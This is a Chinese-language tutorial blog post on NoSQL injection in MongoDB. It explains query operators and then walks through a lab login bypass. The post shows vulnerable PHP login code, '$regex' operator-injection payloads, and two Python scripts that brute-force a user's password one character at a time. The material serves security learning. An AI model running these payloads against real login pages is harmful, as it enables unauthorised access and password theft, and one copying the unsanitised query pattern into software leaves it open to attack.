NoSql注入

NoSql注入

一些知识

先放一个链接,MongoDB的查询文档

https://www.mongodb.com/zh-cn/docs/manual/reference/operator/query/

NoSql注入用于非关系型数据库,例如MongoDB

MongoDB 信息不是存储在表中而是存储在文档中,将这些文档视为存储键值对的简单字典结构

多个文档构成了一个集合(collection),

大致上

一个集合相当于一个表

一个文档相当于表中的一行

例如:

1
2
3
4
5
6
7
8
{
"_id" : ObjectId("5f077332de2cdf808d26cd74"), #文档唯一标识符
"username" : "lphillips",
"first_name" : "Logan",
"last_name" : "Phillips",
"age" : "65",
"email" : "lphillips@example.com"
}

对于 MongoDB,查询使用结构化关联数组,其中包含过滤信息所需满足的条件组。这些过滤器与 SQL 中的 WHERE 子句类似

举个例子:

image-20240723170619149

过滤器类似于

1
2
3
['last_name' => 'Sandler'] #选取last_name为Sandler
['gender' => 'male', 'last_name' => 'Phillips']#选取gender为male,并且last_name为Phillips
['age' => ['$lt'=>'50']]#选取age小于50

一些操作符

1
2
3
4
5
6
7
8
9
$eq      匹配等于指定值的值。
$gt 匹配大于指定值的值。
$gte 匹配大于等于指定值的值。
$in 匹配数组中指定的任何值。
$lt 匹配小于指定值的值。
$lte 匹配小于等于指定值的值。
$ne 匹配所有不等于指定值的值。
$nin 不匹配数组中指定的任何值。
$regex 正则运算符,支持正则表达式

NoSql注入分为两种

语法注入(Syntax Injection)和操作符注入(Operator Injection)

语法注入:类似于 SQL 注入,我们能够突破查询并注入我们自己的有效负载。与 SQL 注入的主要区别在于用于执行注入攻击的语法

操作符注入:我们无法突破查询,我们也可能会注入一个 NoSQL 查询运算符来操纵查询的行为,从而允许我们发起诸如绕过身份验证之类的攻击

攻击

一个靶场,这里是操作符注入

image-20240723173432601

客户端的部分代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$con = new MongoDB\Driver\Manager("mongodb://localhost:27017");


if(isset($_POST) && isset($_POST['user']) && isset($_POST['pass'])){
$user = $_POST['user'];
$pass = $_POST['pass'];

$q = new MongoDB\Driver\Query(['username'=>$user, 'password'=>$pass]);
$record = $con->executeQuery('myapp.login', $q );
$record = iterator_to_array($record);

if(sizeof($record)>0){
$usr = $record[0];

session_start();
$_SESSION['loggedin'] = true;
$_SESSION['uid'] = $usr->username;

header('Location: /sekr3tPl4ce.php');
die();
}
}
header('Location: /?err=1');

?>

我们可以利用正则表达式来测试密码长度和爆破密码

image-20240723173611840

这里就是表示密码为8位,如果为别的则会报错,原本代码的逻辑是只要查询到就可以登录成果

1
if(sizeof($record)>0){}

因此可以利用这个来测试密码,可以改变数字

登录成功

image-20240723173729706

还可以通过不断更改字符去测出密码

image-20240723173828678

这里放上一个python脚本,可以自动化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests

url="http://10.10.237.174/login.php"
heards={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
}

data={
'user': 'john',
'pass[$regex]': '^.{8}$',
'remember': 'on'
}
result = ''
num = 0

for j in range(15):
data["pass[$regex]"]='^.{'+f'{j}'+'}$'
resp = requests.post(url, data=data)
if "email" in resp.text:
num = j
print(num)
break

if num == 0:
exit()
#发起请求并获取响应
c = 0
while 1:
for i in 'abcdefghijklmnopqrstuvwxyz0123456789':
n = num-1-len(result)
data["pass[$regex]"] = f'^{result}{i}'+n*'.'+'$'
resp = requests.post(url, data=data)
if "email" in resp.text:
result+=i
print(result)
c=1
break
if c==0:
break
c=0
print(result)

正则表达式有很多种,我们还可以把原本的正则更换,比如

1
pass[$regex]=^a.*$

这样就不必测得有多少位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url="http://10.10.237.174/login.php"
heards={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0"
}

data={
'user': 'john',
'pass[$regex]': '^.{8}$',
'remember': 'on'
}
result = ''
num = 8
c = 0
while 1:
for i in 'abcdefghijklmnopqrstuvwxyz0123456789':
data["pass[$regex]"] = f'^{result}{i}.*'+'$'
resp = requests.post(url, data=data)
if "email" in resp.text:
result+=i
print(result)
c=1
break
if c==0:
break
c=0
print(result)


Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信